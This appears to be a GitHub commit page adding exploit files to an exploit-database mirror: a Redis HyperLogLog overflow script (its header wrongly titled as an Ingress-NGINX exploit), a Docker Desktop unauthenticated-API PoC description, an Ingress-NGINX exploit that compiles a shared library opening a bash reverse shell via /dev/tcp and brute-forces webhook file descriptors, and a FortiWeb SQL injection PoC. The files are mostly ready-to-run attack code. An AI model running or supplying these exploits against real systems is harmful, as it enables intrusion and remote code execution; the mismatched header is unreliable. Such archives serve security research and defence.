Skip to content

Commit 1e70f06

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 265c8f7 + fd50a9e commit 1e70f06

8 files changed

Lines changed: 784 additions & 1 deletion

File tree

exploits/linux/remote/52477.py

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
2+
# Date: 2025-10-07
3+
# Exploit Author: Beatriz Fresno Naumova
4+
# Vendor Homepage: https://redis.io/
5+
# Software Link: https://redis.io/
6+
# Version: Affects :>= 8.0.0, < 8.0.3
7+
# Tested on: Ubuntu 22.04
8+
# CVE: CVE-2025-32023
9+
10+
import redis
11+
import sys
12+
13+
# --- Configuration ---
14+
REDIS_HOST = 'localhost'
15+
REDIS_PORT = 6379
16+
REDIS_KEY = 'hll:exp'
17+
18+
# HLL encoding type (1 = sparse)
19+
HLL_SPARSE = 1
20+
21+
22+
def p8(value):
23+
"""Convert integer to single byte."""
24+
return bytes([value])
25+
26+
27+
def xzero(size):
28+
"""
29+
Construct an 'xzero' run for sparse HLL:
30+
Creates a run-length encoding entry of zeroes with a specific size.
31+
"""
32+
if not (1 <= size <= 0x4000):
33+
raise ValueError("Invalid xzero size: must be between 1 and 0x4000")
34+
size -= 1
35+
return p8(0b01_000000 | (size >> 8)) + p8(size & 0xff)
36+
37+
38+
def build_malformed_hll():
39+
"""
40+
Construct a malformed HLL payload that overflows internal counters.
41+
"""
42+
payload = b'HYLL' # Magic header
43+
payload += p8(HLL_SPARSE) # Encoding type: sparse
44+
payload += p8(0) * 3 # Reserved
45+
payload += p8(0) * 8 # Unused (padding)
46+
47+
assert len(payload) == 0x10 # Check header size
48+
49+
# Append enough xzero runs to cause overflow
50+
payload += xzero(0x4000) * 0x20000 # == -0x80000000 when cast to signed int
51+
52+
# Add one more run to complete the structure
53+
payload += p8(0b11111111) # Runlen=4, regval=0x20 (but malformed)
54+
55+
return payload
56+
57+
58+
def main():
59+
try:
60+
print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...")
61+
r = redis.Redis(REDIS_HOST, REDIS_PORT)
62+
63+
print("[*] Building malformed HyperLogLog payload...")
64+
hll_payload = build_malformed_hll()
65+
66+
print(f"[*] Writing malformed HLL to key: {REDIS_KEY}")
67+
r.set(REDIS_KEY, hll_payload)
68+
69+
print("[*] Triggering HLL merge operation (pfcount)...")
70+
r.pfcount(REDIS_KEY, REDIS_KEY)
71+
72+
print("[+] Exploit triggered successfully.")
73+
except Exception as e:
74+
print(f"[!] Exploit failed: {e}")
75+
sys.exit(1)
76+
77+
78+
if __name__ == "__main__":
79+
main()

exploits/multiple/local/52472.txt

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# Exploit Title: Docker Desktop 4.44.3 - Unauthenticated API Exposure
2+
# Date: 2025-10-06
3+
# Exploit Author: OilSeller2001
4+
# Vendor Homepage: https://www.docker.com/
5+
# Software Link: https://www.docker.com/products/docker-desktop/
6+
# Version: Affected on Windows and macOS versions prior to 4.44.3
7+
# Tested on: Windows 11 + Docker Desktop 4.43.0
8+
# Exploit Type: Remote, Local, Shellcode
9+
# Platform: Windows
10+
# CVE: CVE-2025-9074
11+
12+
# Description:
13+
This PoC script exploits a security misconfiguration in the unauthenticated exposure of the Docker Engine API.
14+
By sending crafted API requests directly to the Docker daemon, the script creates and starts a specially prepared container.
15+
The container leverages the bind mount feature to map sensitive directories from the host filesystem into the container, effectively granting arbitrary access to the host.
16+
This results in a high-privilege remote code execution scenario.
17+
18+
# Vulnerability Details:
19+
The Docker Engine API (TCP port 2375) can be exposed without TLS authentication via the "Expose daemon on tcp://localhost:2375 without TLS" option in Docker Desktop.
20+
If this option is enabled, any local or remote attacker with network access to the exposed port can control the Docker daemon without authentication.
21+
22+
# Usage:
23+
1. Expose the Docker daemon on TCP 2375 without TLS (testing environment only).
24+
2. Run the PoC against the target:
25+
python3 poc_cve_2025_9074.py <target_ip>:2375
26+
3. The script will:
27+
- Check API availability
28+
- Pull an image
29+
- Create a malicious container with bind mounts to the host filesystem
30+
- Start the container, allowing access to host files
31+
32+
# Mitigation:
33+
- Disable the unauthenticated Docker API exposure after testing.
34+
- Use TLS certificates if remote API access is required.
35+
- Restrict network access to port 2375 via firewall rules.
36+
37+
# PoC Download Link:
38+
https://github.com/OilSeller2001/PoC-for-CVE-2025-9074

exploits/multiple/remote/52475.txt

Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
2+
# Date: 2025-10-07
3+
# Exploit Author: Beatriz Fresno Naumova
4+
# Vendor Homepage: https://kubernetes.io
5+
# Software Link: https://github.com/kubernetes/ingress-nginx
6+
# Version: Affects v1.10.0 to v1.11.1 (potentially others)
7+
# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster
8+
# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974
9+
10+
import os
11+
import sys
12+
import socket
13+
import requests
14+
import threading
15+
from urllib.parse import urlparse
16+
from concurrent.futures import ThreadPoolExecutor
17+
import urllib3
18+
19+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
20+
21+
# --- Embedded malicious shared object template ---
22+
MALICIOUS_C_TEMPLATE = """
23+
#include <stdlib.h>
24+
25+
__attribute__((constructor))
26+
void run_on_load() {
27+
system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
28+
}
29+
30+
int bind(void *e, const char *id) {
31+
return 1;
32+
}
33+
34+
void ENGINE_load_evil() {}
35+
36+
int bind_engine() {
37+
return 1;
38+
}
39+
"""
40+
41+
def compile_shared_library(host, port, output_file="evil_engine.so"):
42+
c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))
43+
44+
with open("evil_engine.c", "w") as f:
45+
f.write(c_code)
46+
47+
print("[*] Compiling malicious shared object...")
48+
result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")
49+
50+
if result == 0:
51+
print("[+] Shared object compiled successfully.")
52+
return True
53+
else:
54+
print("[!] Compilation failed. Is gcc installed?")
55+
return False
56+
57+
58+
def send_brute_request(admission_url, json_template, proc, fd):
59+
print(f"[*] Trying /proc/{proc}/fd/{fd}")
60+
path = f"proc/{proc}/fd/{fd}"
61+
payload = json_template.replace("REPLACE", path)
62+
63+
headers = {"Content-Type": "application/json"}
64+
url = admission_url.rstrip("/") + "/admission"
65+
66+
try:
67+
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
68+
print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
69+
except Exception as e:
70+
print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")
71+
72+
73+
def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
74+
try:
75+
with open(json_file, "r") as f:
76+
json_data = f.read()
77+
except FileNotFoundError:
78+
print(f"[!] Error: {json_file} not found.")
79+
return
80+
81+
print("[*] Starting brute-force against the admission webhook...")
82+
with ThreadPoolExecutor(max_workers=max_workers) as executor:
83+
for proc in range(1, max_proc):
84+
for fd in range(3, max_fd):
85+
executor.submit(send_brute_request, admission_url, json_data, proc, fd)
86+
87+
88+
def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
89+
try:
90+
with open(shared_object, "rb") as f:
91+
evil_payload = f.read()
92+
except FileNotFoundError:
93+
print(f"[!] Error: {shared_object} not found.")
94+
return
95+
96+
parsed = urlparse(ingress_url)
97+
host = parsed.hostname
98+
port = parsed.port or 80
99+
path = parsed.path or "/"
100+
101+
try:
102+
sock = socket.create_connection((host, port))
103+
except Exception as e:
104+
print(f"[!] Failed to connect to {host}:{port}: {e}")
105+
return
106+
107+
fake_length = len(evil_payload) + 10
108+
headers = (
109+
f"POST {path} HTTP/1.1\r\n"
110+
f"Host: {host}\r\n"
111+
f"User-Agent: qmx-ingress-exploiter\r\n"
112+
f"Content-Type: application/octet-stream\r\n"
113+
f"Content-Length: {fake_length}\r\n"
114+
f"Connection: keep-alive\r\n\r\n"
115+
).encode("iso-8859-1")
116+
117+
print("[*] Uploading malicious shared object to ingress...")
118+
sock.sendall(headers + evil_payload)
119+
120+
response = b""
121+
while True:
122+
chunk = sock.recv(4096)
123+
if not chunk:
124+
break
125+
response += chunk
126+
127+
print("[*] Server response:\n")
128+
print(response.decode(errors="ignore"))
129+
sock.close()
130+
131+
132+
def main():
133+
if len(sys.argv) != 4:
134+
print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
135+
sys.exit(1)
136+
137+
ingress_url = sys.argv[1]
138+
admission_url = sys.argv[2]
139+
rev_host_port = sys.argv[3]
140+
141+
if ':' not in rev_host_port:
142+
print("[!] Invalid format for rev_host:port.")
143+
sys.exit(1)
144+
145+
host, port = rev_host_port.split(":")
146+
147+
if not compile_shared_library(host, port):
148+
sys.exit(1)
149+
150+
# Send the malicious shared object and keep the connection open
151+
upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
152+
upload_thread.start()
153+
154+
# Simultaneously brute-force the admission webhook for valid file descriptors
155+
brute_force_admission(admission_url)
156+
157+
158+
if __name__ == "__main__":
159+
main()
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# Exploit Title: FortiWeb Fabric Connector 7.6.x - Pre-authentication SQL
2+
Injection to Remote Code Execution
3+
# Date: 2025-10-05
4+
# Exploit Author: Milad Karimi (Ex3ptionaL)
5+
# Contact: miladgrayhat@gmail.com
6+
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
7+
# Tested on: Win, Ubuntu
8+
# CVE : CVE-2025-25257
9+
10+
Overview
11+
12+
CVE-2025-25257 is a pre-authentication SQL Injection vulnerability in
13+
Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x.
14+
This flaw allows attackers to inject malicious SQL commands into the
15+
vulnerable API endpoint, potentially leading to Remote Code Execution (RCE).
16+
17+
18+
PoC
19+
20+
curl -k -H "Authorization: Bearer aaa' OR '1'='1" \
21+
https://<fortiweb-ip>/api/fabric/device/status
22+
23+
PoC Python
24+
25+
import requests
26+
27+
def test_sqli(base_url):
28+
url = f"{base_url}/api/fabric/device/status"
29+
headers = {
30+
"Authorization": "Bearer aaa' OR '1'='1"
31+
}
32+
try:
33+
response = requests.get(url, headers=headers, verify=False,
34+
timeout=10)
35+
print(f"Status code: {response.status_code}")
36+
print("Response body:")
37+
print(response.text)
38+
except Exception as e:
39+
print(f"Error: {e}")
40+
41+
if __name__ == "__main__":
42+
import argparse
43+
parser = argparse.ArgumentParser(description="PoC SQLi By Ex3ptionaL
44+
CVE-2025-25257 FortiWeb")
45+
parser.add_argument("base_url", help="Base URL of FortiWeb (ex:
46+
https://10.0.0.5)")
47+
args = parser.parse_args()
48+
test_sqli(args.base_url)
49+
# python3 src/poc.py https://10.0.0.5

0 commit comments

Comments
 (0)